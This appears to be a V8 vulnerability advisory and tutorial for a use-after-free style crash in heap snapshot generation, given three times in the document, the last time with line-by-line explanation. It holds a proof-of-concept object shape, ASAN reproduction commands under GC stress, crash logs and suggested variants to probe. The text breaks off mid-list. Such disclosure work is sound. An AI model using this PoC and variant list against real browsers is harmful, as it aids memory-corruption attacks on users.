Use after free in V8 (CVE-2026-17729)
A V8 lookup helper promised not to allocate memory when reading a property, but still allocated a boxed number for out-of-object double fields. During heap snapshot generation, which holds raw heap pointers, this unexpected allocation could move objects and cause a crash (a use-after-free style fault) in ASAN stress builds.
- Fix shipped in 53 days
Summary
LookupIterator::FetchValue(AllowAllocation::kNo) does not fully honor its no-allocation contract for fast-property double fields. It suppresses boxing only when the double field is in-object. If the field is out-of-object, FetchValue(kNo) still calls JSObject::FastPropertyAt(...), which boxes the double into a newly allocated HeapNumber.
This is reachable through JSReceiver::GetConstructorName() when it reads @@toStringTag using GetDataProperty(..., AllowAllocation::kNo).
The security-relevant consumer is heap snapshot generation. V8HeapExplorer / heap snapshot iteration holds raw V8 heap pointers while computing constructor names for heap entries. In a same-source ASAN build with is_debug=false and dcheck_always_on=false, the official V8 inspector-test harness crashes in the HeapProfiler.takeHeapSnapshot protocol path when moving-GC stress is enabled.
This report does not claim arbitrary read/write, a pure webpage-only trigger, a typed ASAN heap-use-after-free report, or stable crash behavior in default stock Chrome release builds without GC stress flags.
Affected Code Path
Revision used for reproduction:
d0ed76cc734d2d59f041af7017cf066945bf402c
Relevant code:
// src/objects/js-objects.cc
GetConstructorHelper(...) {
DisallowGarbageCollection no_gc;
...
auto maybe_to_string_tag =
JSReceiver::GetDataProperty(&it_to_string_tag, AllowAllocation::kNo);
...
}
// src/objects/lookup.cc
if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() &&
field_index.is_double()) {
return isolate_->factory()->undefined_value();
}
return JSObject::FastPropertyAt(...);
For out-of-object double fields, the field_index.is_inobject() condition is false, so the value is boxed and allocation occurs despite AllowAllocation::kNo.
The heap snapshot consumer reaches this through:
Inspector HeapProfiler.takeHeapSnapshot
V8HeapProfilerAgentImpl::takeHeapSnapshotNow
v8::HeapProfiler::TakeHeapSnapshot
HeapProfiler::TakeSnapshot
HeapSnapshotGenerator::GenerateSnapshot
V8HeapExplorer::AddEntry / IterateAndExtractReferences
V8HeapExplorer::GetConstructorName
JSReceiver::GetConstructorName
GetConstructorHelper
JSReceiver::GetDataProperty(..., AllowAllocation::kNo)
LookupIterator::FetchValue(kNo)
JSObject::FastPropertyAt
Object::WrapForRead -> NewHeapNumber
Main PoC
PoC file:
pocs/fetchvalue-inspector-test-heap-snapshot-many.js
It uses V8's official inspector-test harness and sends HeapProfiler.takeHeapSnapshot through the protocol test layer. The script creates 50,000 live ordinary JS objects with an out-of-object double-valued Symbol.toStringTag:
var v = { maxByteLength: 1073741824 };
Object.defineProperty(v, "p1", { value: 0 });
Object.defineProperty(v, "p2", { value: 0 });
Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });
1073741824 is intentionally larger than the 31-bit Smi maximum in this pointer-compression build, so the value is represented as a double field. The preceding properties push @@toStringTag into the out-of-object property store.
Reproduction
Build the official inspector harness:
ninja -C out/asan-nodcheck inspector-test
ninja -C out/asan inspector-test
The out/asan-nodcheck build used here had:
is_debug = false
symbol_level = 1
is_asan = true
v8_enable_sandbox = true
dcheck_always_on = false
v8_enable_slow_dchecks = false
v8_static_library = false
treat_warnings_as_errors = false
Run the release-semantics ASAN/nodcheck repro:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan-nodcheck/inspector-test \
--stress-compaction --stress-scavenge=1 --max-semi-space-size=1 --no-lazy \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
Observed result:
objects: 50000
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address ...
READ memory access
#0 v8::internal::HeapObject::SizeFromMap(...)
#1 v8::internal::PagedSpaceObjectIterator::Next()
#2 v8::internal::HeapObjectIterator::NextObject()
#4 v8::internal::V8HeapExplorer::IterateAndExtractReferences(...)
#5 v8::internal::HeapSnapshotGenerator::GenerateSnapshot()
#10 v8::HeapProfiler::TakeHeapSnapshot(...)
#11 v8_inspector::V8HeapProfilerAgentImpl::takeHeapSnapshotNow(...)
#12 v8_inspector::V8HeapProfilerAgentImpl::HeapSnapshotTask::Run(...)
Full log:
evidence/fetchvalue-inspector-test-nodcheck-many.out
Run the dcheck-on confirmation:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan/inspector-test \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
Observed result:
Debug check failed: AllowHeapAllocation::IsAllowed().
Symbolizing the stack shows:
NewHeapNumber
Object::WrapForRead<kYoung>
JSObject::FastPropertyAt
LookupIterator::FetchValue(kNo)
JSReceiver::GetDataProperty(kNo)
GetConstructorHelper
JSReceiver::GetConstructorName
V8HeapExplorer::GetConstructorName
V8HeapExplorer::AddEntry
HeapSnapshotGenerator::GenerateSnapshot
Full log:
evidence/fetchvalue-inspector-test-dcheck-many.out
Additional Evidence and Scope Boundaries
Included auxiliary files:
pocs/fetchvalue-json-circular.js
evidence/fetchvalue-json-dcheck.out
evidence/fetchvalue-json-nodcheck.out
This confirms that a web API consumer (JSON.stringify circular-structure error formatting) reaches the same GetConstructorName / FetchValue(kNo) invariant violation in dcheck-on builds. In the nodcheck ASAN stress run it exits cleanly, consistent with this consumer being handle-safe.
pocs/fetchvalue-inspector-preview.js
evidence/fetchvalue-inspector-preview-nodcheck-many.out
This checks the Inspector Runtime object-preview path. The nodcheck ASAN stress run over 50,000 vulnerable objects exits cleanly, consistent with Inspector object preview using handle-safe v8::Local / DirectHandle paths. This is not the security-relevant crashing consumer.
Suggested Fix
Make LookupIterator::FetchValue(AllowAllocation::kNo) avoid boxing all double fields, not only in-object double fields. For example, remove the field_index.is_inobject() requirement from the existing guard, or add an explicit out-of-object double case that returns undefined_value() under AllowAllocation::kNo.
Context
V8 is the JavaScript engine used by Chrome, and its heap snapshot machinery is what backs the DevTools memory profiler and the HeapProfiler.takeHeapSnapshot protocol command. To label each object in a snapshot, the engine has to work out a constructor name for every heap entry it walks. That name lookup can end up reading the object's @@toStringTag property, and the code path that reads it is written to run without allocating any new heap objects.
The report is a Chrome VRP advisory for a use-after-free in V8, tracked as CVE-2026-17729, rated medium severity with a 500 USD bounty, disclosed on 2026-07-29 and credited to wang1r && lhfff. The weakness class is use after free, the affected asset is V8.
The claim is narrow and the author states its limits up front: this is not an arbitrary read/write, not a pure webpage-only trigger, not a typed ASAN heap-use-after-free report, and not stable crash behaviour in default stock Chrome release builds without GC stress flags.
Setup
The reproduction uses the official V8 inspector-test harness, built from revision:
[redacted]
Two builds are used. The first is a release-semantics ASAN build with debug checks off, referred to as asan-nodcheck, configured with:
is_debug = false
symbol_level = 1
is_asan = true
v8_enable_sandbox = true
dcheck_always_on = false
v8_enable_slow_dchecks = false
v8_static_library = false
treat_warnings_as_errors = false
The second is a dcheck-on ASAN build (out/asan), used to confirm the invariant violation directly. Both harness binaries are built with:
ninja -C out/asan-nodcheck inspector-test
ninja -C out/asan inspector-test
The PoC lives at pocs/fetchvalue-inspector-test-heap-snapshot-many.js and drives the protocol test layer to send HeapProfiler.takeHeapSnapshot.
Finding it
The starting point is the no-allocation contract of LookupIterator::FetchValue(AllowAllocation::kNo). The author found that the contract is only partly honoured for fast-property double fields. Boxing is suppressed only when the double field is stored in-object. When the field is out-of-object, FetchValue(kNo) still calls JSObject::FastPropertyAt(...), which boxes the double into a freshly allocated HeapNumber.
The relevant code in src/objects/lookup.cc is:
if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() &&
field_index.is_double()) {
return isolate_->factory()->undefined_value();
}
return JSObject::FastPropertyAt(...);
For an out-of-object double field, field_index.is_inobject() is false, so the guard does not fire, the value is boxed, and an allocation happens even though the caller asked for none.
The path that reaches this is JSReceiver::GetConstructorName(), which reads @@toStringTag through GetDataProperty(..., AllowAllocation::kNo). In src/objects/js-objects.cc:
// src/objects/js-objects.cc
GetConstructorHelper(...) {
DisallowGarbageCollection no_gc;
...
auto maybe_to_string_tag =
JSReceiver::GetDataProperty(&it_to_string_tag, AllowAllocation::kNo);
...
}
The DisallowGarbageCollection no_gc scope is the reason this matters: the caller has promised that no allocation will occur, and the boxing breaks that promise.
The security-relevant consumer is heap snapshot generation. V8HeapExplorer and the heap snapshot iteration hold raw V8 heap pointers while computing constructor names for heap entries. An allocation in the middle of that walk can move objects under a moving GC, leaving those raw pointers stale.
The full call chain from the protocol command down to the allocation is:
Inspector HeapProfiler.takeHeapSnapshot
V8HeapProfilerAgentImpl::takeHeapSnapshotNow
v8::HeapProfiler::TakeHeapSnapshot
HeapProfiler::TakeSnapshot
HeapSnapshotGenerator::GenerateSnapshot
V8HeapExplorer::AddEntry / IterateAndExtractReferences
V8HeapExplorer::GetConstructorName
JSReceiver::GetConstructorName
GetConstructorHelper
JSReceiver::GetDataProperty(..., AllowAllocation::kNo)
LookupIterator::FetchValue(kNo)
JSObject::FastPropertyAt
Object::WrapForRead -> NewHeapNumber
Exploitation
Step 1: build the object shape
The PoC creates 50,000 live ordinary JS objects whose Symbol.toStringTag is an out-of-object double-valued property:
var v = { maxByteLength: 1073741824 };
Object.defineProperty(v, "p1", { value: 0 });
Object.defineProperty(v, "p2", { value: 0 });
Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });
The value 1073741824 is deliberately larger than the 31-bit Smi maximum in this pointer-compression build, so it is represented as a double field rather than a Smi. The two preceding properties, p1 and p2, push @@toStringTag out of the in-object property area and into the out-of-object property store. That combination is exactly what the faulty guard misses: a double field that is not in-object.
Step 2: run the release-semantics ASAN build under GC stress
The first reproduction runs the nodcheck build with moving-GC stress enabled:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan-nodcheck/inspector-test \
--stress-compaction --stress-scavenge=1 --max-semi-space-size=1 --no-lazy \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
The run uses --stress-compaction --stress-scavenge=1 --max-semi-space-size=1 --no-lazy. The harness loads test/inspector/protocol-test.js and then the PoC script, which sends HeapProfiler.takeHeapSnapshot through the protocol test layer.
The observed result begins with the object count and then a crash inside the snapshot walk:
objects: 50000
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address ...
READ memory access
#0 v8::internal::HeapObject::SizeFromMap(...)
#1 v8::internal::PagedSpaceObjectIterator::Next()
#2 v8::internal::HeapObjectIterator::NextObject()
#4 v8::internal::V8HeapExplorer::IterateAndExtractReferences(...)
#5 v8::internal::HeapSnapshotGenerator::GenerateSnapshot()
#10 v8::HeapProfiler::TakeHeapSnapshot(...)
#11 v8_inspector::V8HeapProfilerAgentImpl::takeHeapSnapshotNow(...)
#12 v8_inspector::V8HeapProfilerAgentImpl::HeapSnapshotTask::Run(...)
The crash is a SEGV on a read inside HeapObject::SizeFromMap, reached from V8HeapExplorer::IterateAndExtractReferences during snapshot iteration. The full log is kept at evidence/fetchvalue-inspector-test-nodcheck-many.out.
Step 3: confirm the invariant violation in the dcheck-on build
The second run uses the dcheck-on build without GC stress flags:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan/inspector-test \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
This produces a direct debug check failure:
Debug check failed: AllowHeapAllocation::IsAllowed().
Symbolising the stack shows the allocation happening exactly where the no-allocation contract was supposed to hold:
NewHeapNumber
Object::WrapForRead<kYoung>
JSObject::FastPropertyAt
LookupIterator::FetchValue(kNo)
JSReceiver::GetDataProperty(kNo)
GetConstructorHelper
JSReceiver::GetConstructorName
V8HeapExplorer::GetConstructorName
V8HeapExplorer::AddEntry
HeapSnapshotGenerator::GenerateSnapshot
The full log is at evidence/fetchvalue-inspector-test-dcheck-many.out.
Step 4: check other consumers
The report includes auxiliary files to map the scope of the bug:
pocs/fetchvalue-json-circular.js
evidence/fetchvalue-json-dcheck.out
evidence/fetchvalue-json-nodcheck.out
This confirms that a web API consumer, the circular-structure error formatting in JSON.stringify, reaches the same GetConstructorName / FetchValue(kNo) invariant violation in dcheck-on builds. In the nodcheck ASAN stress run it exits cleanly, which is consistent with this consumer being handle-safe.
A second auxiliary PoC checks the Inspector Runtime object-preview path:
pocs/fetchvalue-inspector-preview.js
evidence/fetchvalue-inspector-preview-nodcheck-many.out
The nodcheck ASAN stress run over 50,000 vulnerable objects exits cleanly, consistent with Inspector object preview using handle-safe v8::Local / DirectHandle paths. The author is explicit that this is not the security-relevant crashing consumer.
Root cause
The bug is a partial implementation of a no-allocation contract. LookupIterator::FetchValue(AllowAllocation::kNo) is supposed to return without allocating, and it handles the in-object double case by returning undefined_value(). The guard is gated on field_index.is_inobject(), so out-of-object double fields fall through to JSObject::FastPropertyAt(...), which boxes the double into a new HeapNumber via Object::WrapForRead and NewHeapNumber.
In dcheck builds the violation surfaces as Debug check failed: AllowHeapAllocation::IsAllowed(). In release builds with dchecks off, that check is absent, and the allocation proceeds silently. The heap snapshot walker holds raw V8 heap pointers while calling into GetConstructorName. Under moving-GC stress the harness crashes in HeapObject::SizeFromMap during PagedSpaceObjectIterator::Next().
Impact
Under the conditions the author describes, a same-source ASAN build with is_debug=false and dcheck_always_on=false, the official V8 inspector-test harness crashes in the HeapProfiler.takeHeapSnapshot protocol path when moving-GC stress is enabled. The crash is a SEGV on a read during snapshot iteration.
The author does not claim arbitrary read/write, a pure webpage-only trigger, a typed ASAN heap-use-after-free report, or stable crash behaviour in default stock Chrome release builds without GC stress flags. The practical impact is therefore bounded by those conditions: the invariant violation is real and demonstrable, but the report does not establish a reliable exploit primitive in shipping Chrome.
Fix
The suggested fix is to make LookupIterator::FetchValue(AllowAllocation::kNo) avoid boxing all double fields, not only in-object ones. Concretely, either remove the field_index.is_inobject() requirement from the existing guard, or add an explicit out-of-object double case that returns undefined_value() under AllowAllocation::kNo. The report does not state which change was made upstream.
Variants to test
- Other callers of
GetDataProperty(..., AllowAllocation::kNo)andFetchValue(kNo): audit each one for whether it holds raw heap pointers across the call. A positive result is a dcheck failure (AllowHeapAllocation::IsAllowed()) in a dcheck build, or a SEGV in the same iteration code under GC stress. - Other property kinds that can allocate during boxing or conversion, such as other numeric representations, in the same out-of-object position. A positive result is an allocation observed inside a
DisallowGarbageCollectionscope. - Other heap-walking consumers that compute constructor names, beyond
V8HeapExplorerand the Inspector preview path. A positive result is a crash in the walker under--stress-compaction --stress-scavenge=1with a small semi-space. - The
JSON.stringifycircular-structure path in a dcheck build with the same out-of-object double@@toStringTagshape. A positive result is the sameAllowHeapAllocation::IsAllowed()failure, which the report already demonstrates. - Vary the number of live objects and the property layout that pushes
@@toStringTagout-of-object, to see how reliably the release-build crash reproduces. A positive result is a reproducible SEGV inHeapObject::SizeFromMapduring snapshot generation.
What happened, in plain words
Chrome runs JavaScript code using a component called V8. V8 is the JavaScript engine: the part of the browser that reads and executes the scripts that web pages contain. V8 also has a feature that lets the browser's developer tools take a "heap snapshot", which is a picture of every object currently alive in the engine's memory. The DevTools memory profiler uses this, and so does a protocol command called HeapProfiler.takeHeapSnapshot.
To label each object in that picture, V8 has to work out a name for it, called a constructor name. Working out that name can involve reading a special property on the object, @@toStringTag. The code that reads this property is written under a strict promise: it must not create any new objects in memory while it runs. The report shows that this promise is broken in one specific case, and that breaking it can make the heap snapshot code crash.
The report is a Chrome VRP advisory. VRP stands for Vulnerability Reward Program: a scheme where Google pays people who report security bugs in Chrome. The bug is a use-after-free in V8, tracked as CVE-2026-17729. A CVE is a public catalogue number given to a known vulnerability so people can refer to it unambiguously. It is rated medium severity, with a 500 USD bounty, disclosed on 2026-07-29 and credited to wang1r && lhfff. The weakness class is use after free, and the affected asset is V8.
"Use after free" is the vulnerability class here. In plain terms: a program frees a piece of memory, then later keeps using a pointer to it as if it were still valid. If something else has taken that memory in the meantime, the program reads or writes the wrong data. Think of it like handing back a hotel key, then walking into the same room later and finding a different guest's belongings there.
The author is careful about what the bug does and does not prove. It is not an arbitrary read/write (the ability to read or change any memory the attacker chooses), not a pure webpage-only trigger (something a normal web page alone can set off), not a typed ASAN heap-use-after-free report (ASAN is AddressSanitizer, a tool that watches memory accesses and labels them precisely), and not stable crash behaviour in default stock Chrome release builds without GC stress flags. GC means garbage collection: the engine's automatic memory cleanup. Stress flags are debug switches that make that cleanup run far more often than normal.
Setup
The reproduction uses the official V8 inspector-test harness. A harness is a test program that drives a piece of software the way a real caller would. It is built from this revision (a revision is a specific saved version of the source code):
[redacted]
Two builds are used. A build is a compiled copy of the program made with particular settings. The first is a release-semantics ASAN build with debug checks off, called asan-nodcheck. "Release-semantics" means it behaves like the version shipped to users, where internal safety checks are switched off. ASAN adds memory monitoring. It is configured with:
is_debug = false
symbol_level = 1
is_asan = true
v8_enable_sandbox = true
dcheck_always_on = false
v8_enable_slow_dchecks = false
v8_static_library = false
treat_warnings_as_errors = false
Line by line:
is_debug = falseturns off debug mode, so the build behaves like a normal release.symbol_level = 1keeps some function names in the binary so crash stacks can be read.is_asan = trueswitches on AddressSanitizer, the memory-watching tool.v8_enable_sandbox = trueturns on V8's sandbox, an isolation layer around the engine's memory.dcheck_always_on = falseturns off debug checks ("dchecks"), which are internal assertions that only exist in debug builds.v8_enable_slow_dchecks = falseturns off the slower variants of those checks.v8_static_library = falseis one of the build settings used.treat_warnings_as_errors = falselets the build finish even if the compiler prints warnings.
The second build is a dcheck-on ASAN build (out/asan), used to confirm the broken promise directly. With dchecks on, the engine itself notices when a piece of code allocates memory where it promised not to, and stops with a message.
Both harness binaries are built with:
ninja -C out/asan-nodcheck inspector-test
ninja -C out/asan inspector-test
ninja is the build tool that compiles the source into programs. -C out/asan-nodcheck tells it to work inside that output folder, and inspector-test is the target to build, meaning the inspector test harness. The second line does the same for the dcheck-on build.
The PoC (proof of concept, a small script that demonstrates the bug) lives at pocs/fetchvalue-inspector-test-heap-snapshot-many.js and drives the protocol test layer to send HeapProfiler.takeHeapSnapshot. A protocol here is the agreed message format that tools use to talk to the browser's debugging interface.
Finding it
The starting point is the no-allocation contract of LookupIterator::FetchValue(AllowAllocation::kNo). A contract in code is a promise about behaviour: here, the caller passes AllowAllocation::kNo, meaning "do not create new objects while you do this". A LookupIterator is the internal helper that walks an object's properties looking for a particular one.
The author found that the contract is only partly honoured for fast-property double fields. "Fast properties" are the normal, quickly accessed properties of a JavaScript object. A "double" is a floating-point number, a number with a fractional part or one too large to fit in the small integer format. "Boxing" means wrapping a plain number in a full object so it can be stored as a reference; the wrapper object here is called a HeapNumber.
Boxing is suppressed only when the double field is stored in-object. Every JavaScript object has a small fixed area inside itself for its first few properties (in-object), and a separate overflow area for the rest (out-of-object). When the field is out-of-object, FetchValue(kNo) still calls JSObject::FastPropertyAt(...), which boxes the double into a freshly allocated HeapNumber.
The relevant code in src/objects/lookup.cc is:
if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() &&
field_index.is_double()) {
return isolate_->factory()->undefined_value();
}
return JSObject::FastPropertyAt(...);
Line by line:
if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() && field_index.is_double()) {checks three things at once: the caller forbade allocation, the field sits inside the object, and the field is a double.return isolate_->factory()->undefined_value();if all three hold, it returns the specialundefinedvalue instead of boxing the number. No new object is created.return JSObject::FastPropertyAt(...);otherwise it goes ahead and fetches the property the normal way, which boxes the double.
For an out-of-object double field, field_index.is_inobject() is false, so the guard does not fire, the value is boxed, and an allocation happens even though the caller asked for none.
The path that reaches this is JSReceiver::GetConstructorName(), which reads @@toStringTag through GetDataProperty(..., AllowAllocation::kNo). A JSReceiver is any JavaScript value that can receive properties, such as an object. In src/objects/js-objects.cc:
// src/objects/js-objects.cc
GetConstructorHelper(...) {
DisallowGarbageCollection no_gc;
...
auto maybe_to_string_tag =
JSReceiver::GetDataProperty(&it_to_string_tag, AllowAllocation::kNo);
...
}
Line by line:
// src/objects/js-objects.ccis a comment naming the source file.GetConstructorHelper(...) {starts the helper function that works out a constructor name.DisallowGarbageCollection no_gc;declares a scope in which garbage collection is forbidden. This is the promise: while this scope is active, nothing may allocate, because allocation is what triggers collection.auto maybe_to_string_tag =starts a variable to hold the result.JSReceiver::GetDataProperty(&it_to_string_tag, AllowAllocation::kNo);reads the@@toStringTagproperty, explicitly telling the lookup not to allocate.
The DisallowGarbageCollection no_gc scope is the reason this matters: the caller has promised that no allocation will occur, and the boxing breaks that promise.
The security-relevant consumer is heap snapshot generation. A consumer here means a piece of code that calls into the buggy function. V8HeapExplorer and the heap snapshot iteration hold raw V8 heap pointers while computing constructor names for heap entries. A raw pointer is a direct memory address, not a safe reference that the engine can update. An allocation in the middle of that walk can move objects under a moving GC, leaving those raw pointers stale. A moving GC is a garbage collector that relocates objects in memory as part of tidying up, which is exactly why raw addresses become wrong.
The full call chain from the protocol command down to the allocation is:
Inspector HeapProfiler.takeHeapSnapshot
V8HeapProfilerAgentImpl::takeHeapSnapshotNow
v8::HeapProfiler::TakeHeapSnapshot
HeapProfiler::TakeSnapshot
HeapSnapshotGenerator::GenerateSnapshot
V8HeapExplorer::AddEntry / IterateAndExtractReferences
V8HeapExplorer::GetConstructorName
JSReceiver::GetConstructorName
GetConstructorHelper
JSReceiver::GetDataProperty(..., AllowAllocation::kNo)
LookupIterator::FetchValue(kNo)
JSObject::FastPropertyAt
Object::WrapForRead -> NewHeapNumber
Read from top to bottom, this is the journey: the debugging protocol receives the snapshot request, the inspector agent starts it, the heap profiler takes the snapshot, the generator builds it, the explorer walks entries and asks for constructor names, the name lookup reads @@toStringTag with allocation forbidden, the lookup fetches the property, and finally the double is wrapped into a new HeapNumber. The last line is the allocation that should never have happened.
Exploitation
Step 1: build the object shape
The PoC creates 50,000 live ordinary JS objects whose Symbol.toStringTag is an out-of-object double-valued property:
var v = { maxByteLength: 1073741824 };
Object.defineProperty(v, "p1", { value: 0 });
Object.defineProperty(v, "p2", { value: 0 });
Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });
Line by line:
var v = { maxByteLength: 1073741824 };creates an object with one property,maxByteLength, set to the number 1073741824.Object.defineProperty(v, "p1", { value: 0 });adds a property namedp1with the value 0.Object.defineProperty(v, "p2", { value: 0 });adds a property namedp2with the value 0.Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });adds the special@@toStringTagproperty, also set to 1073741824.Symbol.toStringTagis a built-in key that JavaScript uses to describe what kind of object something is.
The value 1073741824 is deliberately larger than the 31-bit Smi maximum in this pointer-compression build, so it is represented as a double field rather than a Smi. A Smi is a "small integer": a whole number small enough to be stored directly inside a pointer-sized slot without a separate object. Pointer compression is a memory-saving technique where the engine stores shorter references. Because the number is too big for a Smi, it has to be stored as a double.
The two preceding properties, p1 and p2, push @@toStringTag out of the in-object property area and into the out-of-object property store. That combination is exactly what the faulty guard misses: a double field that is not in-object.
Step 2: run the release-semantics ASAN build under GC stress
The first reproduction runs the nodcheck build with moving-GC stress enabled:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan-nodcheck/inspector-test \
--stress-compaction --stress-scavenge=1 --max-semi-space-size=1 --no-lazy \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
Line by line:
PKG=/path/to/unpacked/submissionstores the folder holding the submission in a shell variable calledPKG, so the long path is typed once.ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1configures AddressSanitizer: do not report memory leaks, stop at the first error, and turn addresses in the report into readable function names.out/asan-nodcheck/inspector-testis the harness program to run.--stress-compaction --stress-scavenge=1are GC stress flags that make collection run far more often than normal.--max-semi-space-size=1keeps the young generation small so scavenges happen often.--no-lazyis passed to the harness.test/inspector/protocol-test.jsis the harness's own test driver script."$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"is the PoC script, which sendsHeapProfiler.takeHeapSnapshotthrough the protocol test layer.
The observed result begins with the object count and then a crash inside the snapshot walk:
objects: 50000
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address ...
READ memory access
#0 v8::internal::HeapObject::SizeFromMap(...)
#1 v8::internal::PagedSpaceObjectIterator::Next()
#2 v8::internal::HeapObjectIterator::NextObject()
#4 v8::internal::V8HeapExplorer::IterateAndExtractReferences(...)
#5 v8::internal::HeapSnapshotGenerator::GenerateSnapshot()
#10 v8::HeapProfiler::TakeHeapSnapshot(...)
#11 v8_inspector::V8HeapProfilerAgentImpl::takeHeapSnapshotNow(...)
#12 v8_inspector::V8HeapProfilerAgentImpl::HeapSnapshotTask::Run(...)
Line by line:
objects: 50000is the first line of the observed output.AddressSanitizer:DEADLYSIGNALmeans the program hit a fatal signal, the operating system's way of stopping a program that did something illegal.ERROR: AddressSanitizer: SEGV on unknown address ...is a segmentation fault: the program tried to touch a memory address it is not allowed to touch.READ memory accesssays it was trying to read, not write.- The numbered lines are the call stack, the list of functions that were running, innermost first.
HeapObject::SizeFromMapwas reading an object's size, called from the object iterator, called from the heap explorer's reference walk, called from snapshot generation, called from the heap profiler, called from the inspector agent.
The crash is a read inside HeapObject::SizeFromMap, reached from V8HeapExplorer::IterateAndExtractReferences during object iteration. The full log is kept at evidence/fetchvalue-inspector-test-nodcheck-many.out.
Step 3: confirm the invariant violation in the dcheck-on build
The second run uses the dcheck-on build without GC stress flags:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan/inspector-test \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
This is the same command as before, but pointing at the out/asan build and leaving out the stress flags. The point is not to force a crash but to let the engine's own debug check catch the broken promise. An invariant is a condition that must always hold; here, "no allocation happens in this scope".
This produces a direct debug check failure:
Debug check failed: AllowHeapAllocation::IsAllowed().
In plain words: the engine noticed that memory allocation was attempted in a place where it is not allowed, and stopped.
Symbolising the stack shows the allocation happening exactly where the no-allocation contract was supposed to hold:
NewHeapNumber
Object::WrapForRead<kYoung>
JSObject::FastPropertyAt
LookupIterator::FetchValue(kNo)
JSReceiver::GetDataProperty(kNo)
GetConstructorHelper
JSReceiver::GetConstructorName
V8HeapExplorer::GetConstructorName
V8HeapExplorer::AddEntry
HeapSnapshotGenerator::GenerateSnapshot
Read from bottom to top, this is the same chain as before: snapshot generation asks the explorer for a constructor name, the name lookup reads the property with allocation forbidden, the lookup fetches the property, the double is wrapped, and a new HeapNumber is created. The full log is at evidence/fetchvalue-inspector-test-dcheck-many.out.
Step 4: check other consumers
The report includes auxiliary files to map the scope of the bug:
pocs/fetchvalue-json-circular.js
evidence/fetchvalue-json-dcheck.out
evidence/fetchvalue-json-nodcheck.out
This confirms that a web API consumer, the circular-structure error formatting in JSON.stringify, reaches the same GetConstructorName / FetchValue(kNo) invariant violation in dcheck-on builds. An API is an interface one piece of software offers to another; here it is a built-in JavaScript function. JSON.stringify turns a value into text, and when the value refers to itself in a loop (a circular structure) it has to build an error message, which involves naming the object's type. In the nodcheck ASAN stress run it exits cleanly, which is consistent with this consumer being handle-safe. Handle-safe means it uses references the engine can update when objects move, rather than raw addresses.
A second auxiliary PoC checks the Inspector Runtime object-preview path:
pocs/fetchvalue-inspector-preview.js
evidence/fetchvalue-inspector-preview-nodcheck-many.out
The nodcheck ASAN stress run over 50,000 vulnerable objects exits cleanly, consistent with Inspector object preview using handle-safe v8::Local / DirectHandle paths. A v8::Local or DirectHandle is a managed reference that stays correct even if the object moves. The author is explicit that this is not the security-relevant crashing consumer.
Root cause
The bug is a partial implementation of a no-allocation contract. LookupIterator::FetchValue(AllowAllocation::kNo) is supposed to return without allocating, and it handles the in-object double case by returning undefined_value(). The guard is gated on field_index.is_inobject(), so out-of-object double fields fall through to JSObject::FastPropertyAt(...), which boxes the double into a new HeapNumber via Object::WrapForRead and NewHeapNumber.
In dcheck builds the violation surfaces as Debug check failed: AllowHeapAllocation::IsAllowed(). In release builds with dchecks off, that check is absent, and the allocation proceeds silently. The heap snapshot walker holds raw V8 heap pointers while calling into GetConstructorName. Under moving-GC stress the harness crashes in HeapObject::SizeFromMap during PagedSpaceObjectIterator::Next().
Impact
Under the conditions the author describes, a same-source ASAN build with is_debug=false and dcheck_always_on=false, the official V8 inspector-test harness crashes in the HeapProfiler.takeHeapSnapshot protocol path when moving-GC stress is enabled. The crash is a SEGV on a read through a stale heap pointer during snapshot iteration.
The author does not claim arbitrary read/write, a pure webpage-only trigger, a typed ASAN heap-use-after-free report, or stable crash behaviour in default stock Chrome release builds without GC stress flags. The practical impact is therefore bounded by those conditions: the invariant violation is real and demonstrable, but the report does not establish a reliable exploit primitive in shipping Chrome. An exploit primitive is a small, dependable building block an attacker could use to go further.
Fix
The suggested fix is to make LookupIterator::FetchValue(AllowAllocation::kNo) avoid boxing all double fields, not only in-object ones. Concretely, either remove the field_index.is_inobject() requirement from the existing guard, or add an explicit out-of-object double case that returns undefined_value() under AllowAllocation::kNo. The report does not state which change was made upstream.
Variants to test
- Other callers of
GetDataProperty(..., AllowAllocation::kNo)andFetchValue(kNo): audit each one for whether it holds raw heap pointers across the call. A positive result is a dcheck failure (AllowHeapAllocation::IsAllowed()) in a dcheck build, or a SEGV in the same iteration code under GC stress. - Other property kinds that can allocate during boxing or conversion, such as other numeric representations, in the same out-of-object position. A positive result is an allocation observed inside a
DisallowGarbageCollectionscope. - Other heap-walking consumers that compute constructor names, beyond
V8HeapExplorerand the Inspector preview path. A positive result is a crash in the walker under--stress-compaction --stress-scavenge=1with a small semi-space. - The
